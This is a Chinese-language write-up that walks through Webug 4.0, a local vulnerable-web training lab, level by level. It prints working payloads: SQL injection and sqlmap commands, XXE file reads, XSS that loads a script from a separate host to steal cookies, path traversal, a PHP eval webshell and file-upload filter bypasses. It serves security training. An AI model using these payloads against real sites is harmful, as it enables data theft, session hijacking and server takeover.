目录
一、Webug 的安装
(1)基本信息
WeBug 名称定义为”我们的漏洞”靶场环境 ,基础环境是基于 PHP/mysql 制作搭建而成,中级环境与高级环境分别都是由互联网漏洞事件而收集的漏洞存在的操作环境。部分漏洞是基于Windows操作系统的漏洞所以将WeBug的web环境都装在了一个纯净版的Windows 2003的虚拟机中。在 webug3.0 发布后的四百多天 226安全团队终于在大年初二发布了 webug 的 4.0 版本。
(2)虚拟机的安装
最新超详细VMware虚拟机下载与安装_隐秀_的博客-CSDN博客_vmware虚拟机
具体见上面这篇,也可自行查找
(3)webug 下载
官网已经失效了,但是可以在官方的GitHub中下载
wangai3176/webug4.0: webug4.0 (github.com)
下载然后选择里面的下载解压,最后将所有虚拟机放到一个文件夹中便于管理
然后我们打开虚拟机,文件--打开
他已经安装好了phpstudy2016版本,但是我们要进行一个版本的切换,因为如果不进行版本的切换的话,后续的SQL注入就无法进行。
这里推荐切换到这个版本。然后我们点击上面的虚拟机
然后确定,开启phpstudy后,我们在虚拟机中 win+r 输入cmd,在命令行中输入 ipconfig 查看自己的IP地址,之后在本地浏览器中访问该IP地址,就会自动跳转到这个登录页面
账号密码默认均为admin
登录成功,安装完成
注:请不要在公网上搭建该靶场,因为这个版本的phpstudy包含有后门
二、Webug 打靶笔记
(1)显错注入
这里的话是SQL注入,要有点SQL注入的知识,不会的话可以去看看我写的sqli-labs通过笔记学习一下。
进入靶场
这个就是我们要注入的页面了,我们打开hackbar,本来一看这个标题我还以为是报错注入,结果updatexml试了一下好像不对,后来order by了一下可以说明就是正常注入
我们在1 后面加上 ' 看看有没有报错信息
发现后面多了个单引号,我们可以用 --+/-- (后面有个空格)/# 这三个符号将后面的注释掉,注意:在post 注入的时候只能用最后一个注释符
然后判断字段数
?id=1' order by 3--+
?id=1' order by 2--+
字段数为2,
然后我们联合查询
先查表名
?id=-1' union select 1,database()--+
可以看到在上面输出了数据库名
然后查表名
?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7765627567--+
这里的webug我们转换为16进制,是为了避免因为引号而引起的问题,而16进制前面都要加0x
我们要里面的flag,
查flag的字段名
?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167--+
然后再查里面的flag数据
?id=-1' union select 1,flag from webug.flag--+
提交flag
成功
(2)布尔注入
这里我们加上单引号页面没报错,但是显示不完整,说明存在注入漏洞,我们order by发现没有和上一关一样回显说明这是盲注,可以时间盲注(布尔盲注也可以的)
?id=-1' or if((length(database())=5),sleep(3),1)--+
提交后可以看到延时了
这里应该是我网不好的原因吧,反正他是延时了对吧,所以我们可以采用时间盲注
sqlmap.py -u http://192.168.118.145/control/sqlinject/bool_injection.php?id=1 --dump -D webug -T flag -C flag
sqlmap一下,中间不知道怎么选的全选y 就行了,之后得到结果
法二:使用burp suite
开代理
http://192.168.118.145/control/sqlinject/bool_injection.php?id=1' and left((select flag from webug.flag),1)='a'--+
然后burp suite拦截一下,发送到攻击模块
这里因为我试过了所以得出了结果,如果你没试需要一个一个的试并将结果写在参数前面就行了
设置一下攻击模块,因为这里我们已经知道了它里面只有小写字母所以我们就只设这么多以免太过麻烦,如果不知道可以加一些常用的特殊符号如 _ 、- 、@ 、~ 等等
可以看到两个结果一样的
法三:可以自己写一个爬虫脚本,我在以前的文章中有发过代码,但是要试做修改
(3)延时注入
用时间盲注,和上一关一样的方法
(4)POST注入
我们进入靶场,首先先找到注入点
先尝试用get注入
好像没有什么反应
换成 ' 也是这个界面,说明get注入肯定不行,因为id=' 肯定是有问题的,
点击Login/Register 也没有什么反应所以也不在这里(因为这不是一套完整的cms)
在看搜索框,我们输入一个单引号
有报错,所以注入点在这,我们看一下字段数
1' order by 3#
1' order by 2#
字段数为2,注意这里是#注释,不能用--+,因为是post注入
我们先试一下联合查询,不出意料的没有找到回显位置,再用updatexml尝试一下报错注入
-1' or updatexml(1,concat(0x7e,database()),1)#
发现也没有给我们提供信息,那就只能用盲注了
可以sqlmap一下试试
先burp suite抓包,我们随便在搜索框中输入一个数字,然后拦截
可以看到传递的参数名,我们右键选择copy to file,保存为一个txt文件,然后我们打开sqlmap输入
sqlmap.py -r '你的保存路径' -D webug -T flag -C flag --dump
或者用burp suite
(5)过滤注入
SQL注入里面的过滤主要是过滤空格、关键词、注释符等
但是我们可以使用%0a来进行空格绕过,双写或大小写绕过关键词等等,因为这一关好像是没有对我们进行任何过滤操作,大概是作者疏忽了什么的所以这一关和上一关一模一样,如果有想练习这方面的可以去sqli-labs或CTFHub中练习
(6)宽字节注入
先了解一下宽字节的基础知识
参考链接:SQL注入教程——(四)宽字节注入_「已注销」的博客-CSDN博客_sql宽字节注入
宽字节注入_Heiseweiye的博客-CSDN博客_宽字节注入
宽字节:GB2312、GBK、GB18030、BIG5、Shift等这些都是常说的宽字节,实际上只有两字节,宽字节带来的安全问题主要是ASCII字符(一字节)的现象,即将两个ASCII字符误认为是一个宽字节字符。
在使用PHP连接MySQL的时候,当设置“set character_set_client=gbk”时会导致一个编码转换的问题。
例:id=1' 处理1\' 进行编码1%5c%27 带入sql后,id=\' and XXX 此时无法注入
id= 1%df' 处理1%df\' 进行编码 1%df%5c%27 带入sql后,id=1運' and XXX 可以注入
推荐解码网站:URL编码的解码(GBK) (mytju.com)
我们单引号闭合,发现好像没什么问题,再用order by 一下就发现无论我们后面为几都返回正常,这是因为我们的单引号被编码了,导致后面语句无法注入,在单引号前面加上%df,其余和第一关一样
(7)xxe注入
XXE (XML External Entity injection)XML 外部实体注入漏洞,如果XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击,这就是XXE漏洞。
XML外部实体(XXE)注入详解 - 渗透测试中心 - 博客园 (cnblogs.com)
XXE攻防——XML外部实体注入_LVXIANGAN的博客-CSDN博客
XXE漏洞利用技巧:从XML到远程代码执行 - FreeBuf网络安全行业门户
我们现在虚拟机中写一个文件,假设他里面放的是重要信息如密码
首先我们创建一个password.txt 的文件,里面写入admin123
然后我们再写一个简单的xml文件
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY hhh SYSTEM "file:///c:/phpStudy/WWW/password.txt">
]>
<xml>
<xxe>&hhh;</xxe>
</xml>
抓包,
然后选择burp suite里面的decode模块,将我们之前写的xml文件内容进行url 编码
将下面的内容全部复制作为data的参数值
最后提交,成功从回显中看到admin123,这里没有d盘,所以找不到flag了,你可以自己建一个flag文件来玩玩。
(8)csv注入
这里源码有点问题吧,反正我是没办法添加的……
Webug(csv注入)_Sammi~的博客-CSDN博客_csv注入
安装上面这个文章我是没有成功,你可以先试试
但是我们主要不是为了打靶,而是为了学习相关知识,所以这里有一篇不错的文章推荐一下
(9)反射型xss
反射型 xss 的话是在url中直接构造的,我们将id的参数值改为
?id=<script>alert(1)</script>
提交,出现弹窗,说明存在漏洞且没有进行任何过滤,我们猜测flag在cookie里面
?id=<script>alert(document.cookie)</script>
弹窗中爆出了flag
(10)存储型xss
存储型xss可能存在于留言板、发帖等一切可以输入的地方
我们在页面最下方发现一处可以输入的地方,poc试一下,可以,然后看看cookie里面有没有flag
<script>alert(document.cookie)</script>
弹出来了。
(11)DOM型xss
这里先不写万能密码,因为这几个都是xss漏洞的相关知识,我觉得放在一起会好一点
打开靶场
这里有个搜索框,我们随便输入一个比如hhh,search,然后看一下网页源代码,可以看到我们输入的参数成了value的值
<input name="search" type="text" value="hhh" required="">
可以尝试构造闭合
" onmouseover=alert(document.cookie) >#
鼠标移到搜索框上即可弹出,或者也可以用
"><script>alert(document.cookie)</script>
等等,构造方法很多
(12)xss过滤
我们先poc一下,告诉我们不要使用恶意代码,先只留一个<script>,提交发现依旧如此,说明他可能对script 这个关键词进行了过滤,大小写绕过也失败了,我们再看看源码
发现在 li 标签里面,我们构造一个新的标签
<img src=1 onerror=alert(document.cookie)>
弹出flag
(13)万能密码登录
我们先尝试用弱密码登一下发现直接登进去了……但是这关不是这么做的
这个查询语句是这样的
select * from user where username='' and password=''
如果我们在username中输入
' or 1=1#
这个语句的意思是:先闭合username,然后因为1=1恒真,所以前面就是万能密码了,后面的#将password注释掉了
密码处随便输入,登录成功,这个就是万能密码登录,但是不一定是单引号闭合,有可能双引号,单引号加括号等等等。
也可以用burp suite进行密码爆破。
先抓包,密码就输123
然后右键,send Intruder,这里就只对密码进行爆破
然后在payload里面添加你的字典,网上都有可以自己下,如果是专业版的burp suite还可以设置线程,速度会快很多
然后点击start attack
然后我们观察到只有密码为admin 时length不同,所以他就是密码了
(14) 链接注入
打开靶场,我们看到url 中有有id参数,我们尝试进行修改,修改为hhh
可以看到页面中有回显,我们换成一个超链接
?id=<a href=http://www.baidu.com>点我试试看</a>
点击之后跳转到百度页面,这里也可以和xss漏洞一起盗取cookie,我这里做一个简单的演示
首先我们打开我们的xss平台,这里我建议是自己搭一个属于自己的xss平台,之前写过一篇文章
然后添加,生成payload,这里生成的是没有任何绕过的最简单的xss,所以我们找一个没有过滤的有xss漏洞的网站,就用我们前面反射型xss那一关的网站,我们将payload复制粘贴为id的参数值
然后将这个url复制,到链接注入这一关卡中,把我们的url作为href的参数值
http://192.168.51.145/control/xss/link_xss.php?id=<a href='http://192.168.51.145/control/xss/link_xss.php?id=<script src="http://192.168.51.105/xss/myjs/demo1.js"></script>'>点我试试</a>
之后点击”点我试试“,就可以看到跳转到xss页面了,与此同时,我们的接受面板中也收到了邮件
可以看到我们拿到了目标的cookie了,再进入登录页面,将cookie换成我们拿到的就可以直接登录了。
(15)任意文件下载
任意文件下载漏洞学习 - 时光不改 - 博客园 (cnblogs.com)
上面这个作者写的比较详细,可以了解一下
打开靶场,可以看到有两个文件可以下载,我们先对其抓包,然后发送到reqeater模块,我们改变路径为:
?file=template/../../../boot.ini
这个文件里面放的是系统版本信息,我们send一下,可以看到靶机的系统信息了,
这里的3个/../是通过多次尝试才得到的,你也可以随便在靶机上建一个文件,然后用这种方式来下载文件,这就是任意文件下载
(16)MySQL配置文件下载
这玩意和上一关一样的,就是要找路径,而我们知道的是my.ini 在mysql文件夹里面,所以我们构造 ../mysql/my.ini 绝对路径,在repeater里面我们尝试,发现成功,也可以用
template/../../mysql/my.ini
这个也可以
(17)文件上传(前端拦截)
先制作一个php文件,命名为shell.php 然后在里面输入
<?php @eval($_POST['123']);?>
这是一个最简单的php一句话木马,当然,你也可以只写个phpinfo()
然后我们点击选择文件,但他却告诉我们不支持该类型的,我们打开网页源代码
发现他对我们的文件类型进行了判断,所以我们先将后缀名改为jpg,然后先上传,再用burp suite进行拦截,将jpg改为php即可
然后forward,再关闭拦截,就可以看到靶场跳转页面,并且显示了我们文件上传的位置
然后我们可以用中国菜刀或者蚁剑来连接即可,实在不行也可以用浏览器直接访问,
http://ip/template/upload/shell.php
IP处填你的IP,这里因为是一句话木马,返回的应该是空白,如果写的是phpinfo就有东西了
添加,然后就拿到webshell了
(18)文件上传(解析漏洞)
先尝试php文件直接上传,不行,换成jpg,然后再改为php,也不行,可能对我们的进行了解析操作,尝试大小写绕过,换成php5什么的,%00截断,::$DATA 都不行,.hatccess文件也上传不了,去网上查了查,这里可以使用生僻字进行绕过,比如这个 龘(dá)
在repeater里面将文件名改为 shell2.php龘.jpg,send,发现上传成功,这是因为他无法对这个字进行编码,所以后面的信息全部被过滤掉了。最后就变成了php文件
然后就是蚁剑了
(19)文件上传(畸形文件)
我们先试着用 .php 上传一下,不行,再上传jpg,在burp suite里面改为php,发送,发现不行
他好像对我们的 php进行了检测,我们尝试一下双写能不能绕过,发现可以,构造 .pphphp
(20)文件上传(截断上传)
和第18关是一个方法
(21)文件上传(.hatccess)
这里作者的代码有一点问题,按照提示的做法会无法进行,我们替换一下
<?php
require_once "../../common/common.php";
if (!isset($_SESSION['user'])) {
header("Location:../login.php");
}
$filter = array(".jpg", '.png', '.gif');
if ($_FILES['file']['error']) {
die();
}
if ($_FILES['file']) {
$arr = $_FILES['file'];
$file_ext = trim(strtolower(strrchr($arr['name'], ".")));
if (file_exists(TPMELATE."/upload/".$arr['name'])){
echo "<script>alert('该文件已经存在')</script>";
} else{
$filename = iconv("UTF-8","gb2312",TPMELATE."/upload/".$arr['name']);
move_uploaded_file($arr["tmp_name"],$filename);
echo $filename;die();
}
}
require_once TPMELATE."/upload_file_1.html";
替换的文件位置在 C:\phpStudy\WWW\control\upload_file\upload_file_5.php,全部替换即可
然后我们调一下php版本,否则php代码可能无法正常解析
然后我们首先创建一个 .htaccess 的文件,注意不能有任何名字,单纯只是 .htaccess,在里面写入
SetHandler application/x-httpd-php
这段代码的意思是将该目录下所有文件解析为 .php,将他上传上去(通过burp suite改后缀名上传),然后我们再创建一个带有phpinfo()的shell4.php.jpg 文件,上传上去,通过浏览器访问就可以了
(22)越权修改密码
先用弱口令试一下,发现不行,然后就想到用万能密码,先闭合再用or语句
如果你没有成功是因为php版本问题,我们再调回5.3.29-nts 就行了
越权成功
(23)支付漏洞
打开靶场,随便购买一个商品,然后我们抓包,
发现这个参数是get型,我们随意修改,提交后就会显示在页面上,事实上,在现实生活中不是利用get型来传参的,商品的价格也无法让我们随意修改,但是我们可以修改相应的优惠券的数额来达到节省的目的。
(24) 邮箱轰炸
这关的思想就是,在一个用邮箱注册的网站,我们重复使用一个邮箱进行注册,然后他就会不断发送确认信息给那个邮箱,如果我们用脚本的话,就可以达到一种轰炸的效果
(25)越权查看admin
用万能密码进行登录,返回页面回显,越权查看admin就是你作为user这个身份,通过修改id参数,或者其他的参数值我们可以跳转,跳转之后可以看到admin的密码,修改或重置甚至直接拥有admin的权限。这些都是逻辑类型的漏洞
这里我们将id=2修改为id=1,可以看到我们到了admin的界面。
(26)URL跳转
顾名思义,点击某某链接进行跳转,
点击百度就能跳转到百度了,如果你抓包修改的话就可以跳转到你想去的页面了
(27)文件包含漏洞
直接在url里面改 ?filename=../../../../boot.ini
(28)webshell爆破
最后一关了……因为28和30都有问题没办法做
这里打开靶场叫我们输入密码,我们抓包进行密码爆破,大家可以自己试一下,这里就直接告诉你密码为a1,登录成功后拿到webshell
(29)其他
这里面的cms靶场和ctf都在开发中,但是知识库还是可以看的,enmmm……就这样吧。睡觉去了。